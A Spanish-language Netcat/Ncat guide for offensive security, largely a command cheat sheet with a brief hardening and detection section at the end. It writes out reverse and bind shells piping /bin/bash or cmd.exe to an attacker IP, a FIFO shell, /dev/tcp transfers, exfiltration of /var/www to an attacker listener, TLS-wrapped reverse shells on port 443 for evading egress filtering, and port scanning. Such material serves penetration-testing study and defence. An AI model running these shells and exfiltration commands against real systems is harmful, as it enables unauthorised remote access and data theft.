Netcat — Production & Offensive Security Guide
Guía de operación de Netcat/Ncat: transferencia de archivos sin framing, reverse/bind shells, banner grabbing y port scanning. Con topología de conexión, matriz de flags y escenarios reales de pivoting, evasión y endurecimiento.
Netcat — Production & Offensive Security Guide
1. Operational Scope & Technical Objective
Netcat (Hobbit, 1995) es una utilidad de red de baja fricción: lee y escribe datos crudos sobre TCP/UDP como cliente y como servidor (listener). Su objetivo operativo es único — plumbing de bytes entre dos extremos — y de esa simplicidad derivan todos sus usos: transferencia de archivos, shells, chats, banner grabbing y escaneo.
Tres hechos de diseño que determinan su uso en producción y en operaciones ofensivas:
- Sin framing ni cifrado. Netcat transmite el stream tal cual: no hay handshake de aplicación, checksum ni TLS. El tráfico es inspeccionable en claro (cf.
cryptcatyncat --ssl). - Orientación arbitraria. Cualquier extremo puede ser listener o cliente; la transferencia de datos es bidireccional una vez establecida la conexión.
- Variantes no intercambiables.
nc(OpenBSD),nc.traditional,ncat(Nmap) y la versión Windows difieren en flags críticos: la opción-e(ejecutar programa) no existe en la build de OpenBSD y su presencia está restringida en distros por defecto (Debian la quita dency la mantiene ennc.traditionaloncat).
# Verificar qué variante está instalada
whereis nc
# nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
nc -h | head -1 # ¿flags -e, -k, --ssl disponibles?
Reverse shell vs bind shell — topología
La decisión bind vs reverse es puramente una decisión de dirección de conexión respecto al firewall/NAT del objetivo:
2. High-Impact Syntax & Command Cheatsheet
2.1 Matriz de flags
| Flag | Semántica |
|---|---|
-l |
Listen mode (servidor). Por defecto nc actúa como cliente |
-p |
Puerto local (en listen, el puerto a la escucha) |
-u |
Modo UDP (por defecto TCP) |
-e PROG |
Ejecutar PROG al establecerse la conexión — ausente en la build OpenBSD, restringido en Debian/Ubuntu (usar nc.traditional o ncat) |
-n |
Sin resolución DNS (direcciones literales) |
-z |
Zero I/O: no envía datos, solo verifica conectividad |
-w N |
Timeout de conexión/lectura de N segundos |
-v / -vv |
Verbose / verbose de conexiones y transferencias |
-k |
Ncat: seguir escuchando tras desconectar al cliente |
--ssl / --allow IP |
Ncat: cifrado TLS / allowlist de peers entrantes |
-L |
Netcat Windows: listener persistente que reabre al cerrar |
2.2 Listener y cliente (la base)
# Escuchar en TCP
nc -nlvp 4444
# Conectar a un puerto
nc -nv 10.10.14.2 4444
# Escuchar/consultar un servicio (POP3, HTTP, SSH) sin resolver DNS
nc -nv 10.10.14.2 110
2.3 Transferencia de archivos
La transferencia es un stream de bytes: se redirige stdin/stdout con < y >. No hay nombre de archivo ni checksum en el protocolo — la semántica la define el redireccionamiento.
# Orientación "listener primero" (el receptor escucha y guarda)
# Receptor (atacante)
nc -nlvp 4444 > dump.txt
# Emisor (objetivo)
nc -nv 10.10.14.2 4444 < file.txt
# Orientación "emisor primero" (el objetivo escucha y envía)
# Receptor (atacante)
nc -nv 10.10.14.2 4444 > file.exe
# Emisor (objetivo)
nc -nlvp 4444 < file.exe
Variante sin nc en el objetivo — /dev/tcp de bash (útil cuando netcat fue removido):
# Emisor (objetivo), sin nc: abrir un FD TCP con el descriptor bash
cat file.txt > /dev/tcp/10.10.14.2/4444
# Alternativa con FIFO para shell interactiva
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.2 4444 > /tmp/f
El flujo del stream:
2.4 Shells
# BIND SHELL — el objetivo escucha (requiere puerto entrante abierto)
# Objetivo
nc -lvp 4444 -e /bin/bash
# Atacante
nc -nv 10.10.14.2 4444
# REVERSE SHELL — el objetivo conecta saliente hacia el atacante
# Atacante (listener)
nc -nlvp 4444
# Objetivo (Linux)
nc -nv 10.10.14.2 4444 -e /bin/bash
# Objetivo (Windows)
nc.exe -nv 10.10.14.2 4444 -e cmd.exe
# Reverse shell persistente en Windows (netcat clásico)
nc -Lp 4444 -e cmd.exe
Verificación de egress antes del intento: si no se conoce qué puertos salientes deja pasar el objetivo, probar rango abierto con
-zy capturar en Wireshark:nc -nvv -w 1 -z 10.10.14.2 1-100 # filtro Wireshark: tcp.port == 4444
2.5 Banner grabbing y port scanning
# Banner grabbing de un servicio
echo "" | nc -nv -w1 10.10.14.2 80
# HTTP/1.1 200 OK ... <address>Apache/2.2.22</address>
nc -nv 10.10.14.2 222
# SSH-1.99-OpenSSH_5.8 ← fingerprint de versión
# TCP connect scan con -z (zero I/O)
nc -nvv -w 1 -z 10.10.14.2 1-65550
# UDP scan
nc -unvv -w 1 -z 10.10.14.2 1-65550
Nota operativa: el scan con
nc -zes más ruidoso y lento quenmap -sS; sirve como fallback cuando solo se dispone de netcat en el host (p.ej. pivote desde un host comprometido).
2.6 Chat, streaming y pipes
# Chat bidireccional: la conexión es un socket de dos vías
nc -nlvp 4444 # extremo A (listener)
nc -nv <IP> 4444 # extremo B (cliente)
# Streaming de directorios sin tocar disco (tar sobre el socket)
tar -cf - Pictures | nc -l -p 4444 # servidor de stream
nc <IP> 4444 | tar -xf - # consumidor
# Foto por el socket
cat web.jpeg | nc -l -p 4444
nc <IP> 4444 > web.jpeg
2.7 Cifrado del canal
El tráfico de nc viaja en claro. Dos alternativas:
# NCAT con TLS — el camino recomendado (openssl integrado)
# Objetivo (servidor)
ncat -lvp 4444 -e /bin/bash --allow 192.168.30.5 --ssl
# Atacante (cliente)
ncat -nv 10.10.14.2 4444 --ssl
# CRYPTCAT — Twofish, requiere passphrase compartida
cryptcat -k $password -l -p 4444 # listener
cryptcat -k $password <IP> 4444 # cliente
Verificación del cifrado en Wireshark: filtro tcp.port == 4444 — los datos deben verse como payload no legible.
3. Real-World Offensive/Defensive Scenarios
3.1 Pivoting — transferencia exfil desde un host interno
Un host comprometido en la DMZ sin herramientas de transferencia puede exfiltrar a un listener del atacante:
# Atacante: listener que recibe el volcado y calcula hash al cierre
nc -nlvp 4444 > exfil.tar.gz
sha256sum exfil.tar.gz
# Objetivo (pivote): empaqueta y envía por el mismo socket
tar -czf - /var/www 2>/dev/null | nc -nv 10.10.14.2 4444
3.2 Evasión — reverse shell a través de egress filtering
Cuando el perímetro permite tráfico saliente hacia 443, ncat --ssl envuelve la shell en una conexión TLS indistinguible de HTTPS a nivel de L4:
# Atacante
ncat --ssl -nlvp 443
# Objetivo
ncat --ssl -nv 10.10.14.2 443 -e /bin/bash
3.3 Enumeración defensiva — fingerprint de servicios
Banner grabbing es la técnica más barata para inventariar servicios expuestos antes de cualquier scan agresivo:
for p in 22 25 80 443 3306 5432; do
printf '%s: ' "$p"; echo | nc -nv -w1 10.0.0.10 "$p" 2>&1 | head -1
done
3.4 Defensa — endurecer listeners
- Nunca dejar
nc -eescuchando sin allowlist; usarncat --allowy--ssl. - Los listeners netcat no autentican: cualquier host en la ACL de red obtiene la shell. Compartimentar con ACL de firewall y
--allow. - La transferencia de archivos sin
--sslexpone el contenido a sniffing — usarncat --sslocryptcatpara datos sensibles. - Detección: las conexiones de larga duración hacia IPs no corporativas, o patrones
tcp.port == 4444recurrentes, son señales de C2 o exfiltración; el uso de-een shells interactivos deja rastros enauditd(execvede/bin/bashcon stdin/stdout a un socket).